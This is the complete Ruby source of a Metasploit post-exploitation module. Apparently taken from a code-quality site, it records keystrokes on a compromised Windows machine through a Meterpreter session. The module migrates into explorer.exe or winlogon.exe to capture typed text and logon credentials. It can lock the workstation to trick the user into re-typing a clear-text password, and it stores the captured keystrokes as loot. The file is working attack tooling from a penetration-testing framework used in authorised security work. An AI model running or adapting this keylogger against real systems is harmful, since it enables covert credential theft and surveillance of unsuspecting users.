rapid7/metasploit-framework

View on GitHub
modules/post/windows/capture/keylog_recorder.rb

Summary

Maintainability
D
1 day
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Capture Keystroke Recorder',
        'Description' => %q{
          This module can be used to capture keystrokes. To capture keystrokes when the session is running
          as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of
          Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the
          Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session
          to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon
          option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN
          option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text
          password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'Josh Hale <jhale85446[at]gmail.com>'
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter', ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_migrate
              stdapi_railgun_api
              stdapi_sys_config_getuid
              stdapi_sys_process_attach
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_ui_get_keys_utf8
              stdapi_ui_start_keyscan
              stdapi_ui_stop_keyscan
            ]
          }
        }
      )
    )
    register_options(
      [
        OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]),
        OptBool.new('MIGRATE', [false, 'Perform Migration.', false]),
        OptInt.new('INTERVAL', [false, 'Time interval to save keystrokes in seconds', 5]),
        OptInt.new('PID', [false, 'Process ID to migrate to', nil]),
        OptEnum.new('CAPTURE_TYPE', [
          false, 'Capture keystrokes for Explorer, Winlogon or PID',
          'explorer', ['explorer', 'winlogon', 'pid']
        ])

      ]
    )
    register_advanced_options(
      [
        OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]),
        OptEnum.new('TimeOutAction', [
          true, 'Action to take when session response timeout occurs.',
          'wait', ['wait', 'exit']
        ])
      ]
    )
  end

  def run
    print_status("Executing module against #{sysinfo['Computer']}")
    if datastore['MIGRATE']
      if datastore['CAPTURE_TYPE'] == 'pid'
        return unless migrate_pid(datastore['PID'], session.sys.process.getpid)
      else
        return unless process_migrate
      end
    end

    lock_screen if datastore['LOCKSCREEN'] && get_process_name == 'winlogon.exe'

    if start_keylogger
      @logfile = set_log
      keycap
    end
  end

  # Initial Setup values
  #
  # @return [void] A useful return value is not expected here
  def setup
    @logfile = nil
    @timed_out = false
    @timed_out_age = nil # Session age when it timed out
    @interval = datastore['INTERVAL'].to_i
    @wait = datastore['TimeOutAction'] == 'wait'

    if @interval < 1
      print_error('INTERVAL value out of bounds. Setting to 5.')
      @interval = 5
    end
  end

  # This function sets the log file and loot entry.
  #
  # @return [StringClass] Returns the path name to the stored loot filename
  def set_log
    store_loot('host.windows.keystrokes', 'text/plain', session, "Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now}\n\n", 'keystrokes.txt', 'User Keystrokes')
  end

  # This writes a timestamp event to the output file.
  #
  # @return [void] A useful return value is not expected here
  def time_stamp(event)
    file_local_write(@logfile, "\nKeylog Recorder #{event} at #{Time.now}\n\n")
  end

  # This locks the Windows screen if so requested in the datastore.
  #
  # @return [void] A useful return value is not expected here
  def lock_screen
    print_status('Locking the desktop...')
    lock_info = session.railgun.user32.LockWorkStation()
    if lock_info['GetLastError'] == 0
      print_status('Screen has been locked')
    else
      print_error('Screen lock failed')
    end
  end

  # This function returns the process name that the session is running in.
  #
  # Note: "session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
  #
  # @return [String Class] the session process's name
  # @return [NilClass] Session match was not found
  def get_process_name
    processes = client.sys.process.get_processes
    current_pid = session.sys.process.getpid
    processes.each do |proc|
      return proc['name'] if proc['pid'] == current_pid
    end
    return nil
  end

  # This function evaluates the capture type and migrates accordingly.
  # In the event of errors, it will default to the explorer capture type.
  #
  # @return [TrueClass] if it successfully migrated
  # @return [FalseClass] if it failed to migrate
  def process_migrate
    captype = datastore['CAPTURE_TYPE']

    if captype == 'winlogon'
      if is_uac_enabled? && !is_admin?
        print_error('UAC is enabled on this host! Winlogon migration will be blocked. Exiting...')
        return false
      else
        return migrate(get_pid('winlogon.exe'), 'winlogon.exe', session.sys.process.getpid)
      end
    end

    return migrate(get_pid('explorer.exe'), 'explorer.exe', session.sys.process.getpid)
  end

  # This function returns the first process id of a process with the name provided.
  # It will make sure that the process has a visible user meaning that the session has rights to that process.
  # Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
  #
  # @return [Integer] the PID if one is found
  # @return [NilClass] if no PID was found
  def get_pid(proc_name)
    processes = client.sys.process.get_processes
    processes.each do |proc|
      if proc['name'] == proc_name && proc['user'] != ''
        return proc['pid']
      end
    end
    return nil
  end

  # This function attempts to migrate to the specified process by Name.
  #
  # @return [TrueClass] if it successfully migrated
  # @return [FalseClass] if it failed to migrate
  def migrate(target_pid, proc_name, current_pid)
    if !target_pid
      print_error("Could not migrate to #{proc_name}. Exiting...")
      return false
    end

    print_status("Trying #{proc_name} (#{target_pid})")

    if target_pid == current_pid
      print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
      return true
    end

    begin
      client.core.migrate(target_pid)
      print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
      return true
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Could not migrate to #{proc_name}. Exiting...")
      print_error(e.to_s)
      return false
    end
  end

  # This function attempts to migrate to the specified process by PID only.
  #
  # @return [TrueClass] if it successfully migrated
  # @return [FalseClass] if it failed to migrate
  def migrate_pid(target_pid, current_pid)
    if !target_pid
      print_error("Could not migrate to PID #{target_pid}. Exiting...")
      return false
    end

    if !has_pid?(target_pid)
      print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...")
      return false
    end

    print_status("Trying PID: #{target_pid}")

    if target_pid == current_pid
      print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
      return true
    end

    begin
      client.core.migrate(target_pid)
      print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
      return true
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Could not migrate to PID #{target_pid}. Exiting...")
      print_error(e.to_s)
      return false
    end
  end

  # This function starts the keylogger
  #
  # @return [TrueClass] keylogger started successfully
  # @return [FalseClass] keylogger failed to start
  def start_keylogger
    begin
      # Stop keyscan if it was already running for some reason.
      session.ui.keyscan_stop
    rescue StandardError
      nil
    end
    begin
      print_status('Starting the keylog recorder...')
      session.ui.keyscan_start
      return true
    rescue StandardError
      print_error("Failed to start the keylog recorder: #{$ERROR_INFO}")
      return false
    end
  end

  # This function dumps the keyscan and uses the API function to parse
  # the extracted keystrokes.
  #
  # @return [void] A useful return value is not expected here
  def write_keylog_data
    output = session.ui.keyscan_dump

    if !output.empty?
      print_good("Keystrokes captured #{output}") if datastore['ShowKeystrokes']
      file_local_write(@logfile, "#{output}\n")
    end
  end

  # This function manages the key recording process
  # It stops the process if the session is killed or goes stale
  #
  # @return [void] A useful return value is not expected here
  def keycap
    rec = 1
    print_status("Keystrokes being saved in to #{@logfile}")
    print_status('Recording keystrokes...')

    while rec == 1
      begin
        sleep(@interval)
        if session_good?
          write_keylog_data
        elsif !session.alive?
          vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
          rec = 0
        end
      rescue ::Exception => e
        if e.class.to_s == 'Rex::TimeoutError'
          @timed_out_age = get_session_age
          @timed_out = true

          if @wait
            time_stamp('timed out - now waiting')
            vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
          else
            time_stamp('timed out - exiting')
            print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
            rec = 0
          end
        elsif e.class.to_s == 'Interrupt'
          print_status('User interrupt.')
          rec = 0
        else
          print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...")
          @timed_out = true
          rec = 0
        end
      end
    end
  end

  # This function returns the number of seconds since the last time
  # that the session checked in.
  #
  # @return [Integer Class] Number of seconds since last checkin
  def get_session_age
    return Time.now.to_i - session.last_checkin.to_i
  end

  # This function makes sure a session is still alive acording to the Framework.
  # It also checks the timed_out flag. Upon resume of session it resets the flag so
  # that logging can start again.
  #
  # @return [TrueClass] Session is still alive (Framework) and not timed out
  # @return [FalseClass] Session is dead or timed out
  def session_good?
    return false if !session.alive?

    if @timed_out
      if get_session_age < @timed_out_age && @wait
        time_stamp('resumed')
        @timed_out = false # reset timed out to false, if module set to wait and session becomes active again.
      end
      return !@timed_out
    end
    return true
  end

  # This function writes off the last set of key strokes
  # and shuts down the key logger
  #
  # @return [void] A useful return value is not expected here
  def finish_up
    print_status('Shutting down keylog recorder. Please wait...')

    last_known_timeout = session.response_timeout
    session.response_timeout = 20 # Change timeout so job will exit in 20 seconds if session is unresponsive

    begin
      sleep(@interval)
      write_keylog_data
    rescue ::Exception => e
      print_error("Keylog recorder encountered error: #{e.class} (#{e}) Exiting...") if e.class.to_s != 'Rex::TimeoutError' # Don't care about timeout, just exit
      session.response_timeout = last_known_timeout
      return
    end
    begin
      session.ui.keyscan_stop
    rescue StandardError
      nil
    end
    session.response_timeout = last_known_timeout
  end

  # This function cleans up the module.
  # finish_up was added for a clean exit when this module is run as a job.
  #
  # Known Issue: This appears to run twice when killing the job. Not sure why.
  # Does not cause issues with output or errors.
  #
  # @return [void] A useful return value is not expected here
  def cleanup
    if @logfile # make sure there is a log file meaning keylog started and migration was successful, if used.
      finish_up if session_good?
      time_stamp('exited')
    end
  end
end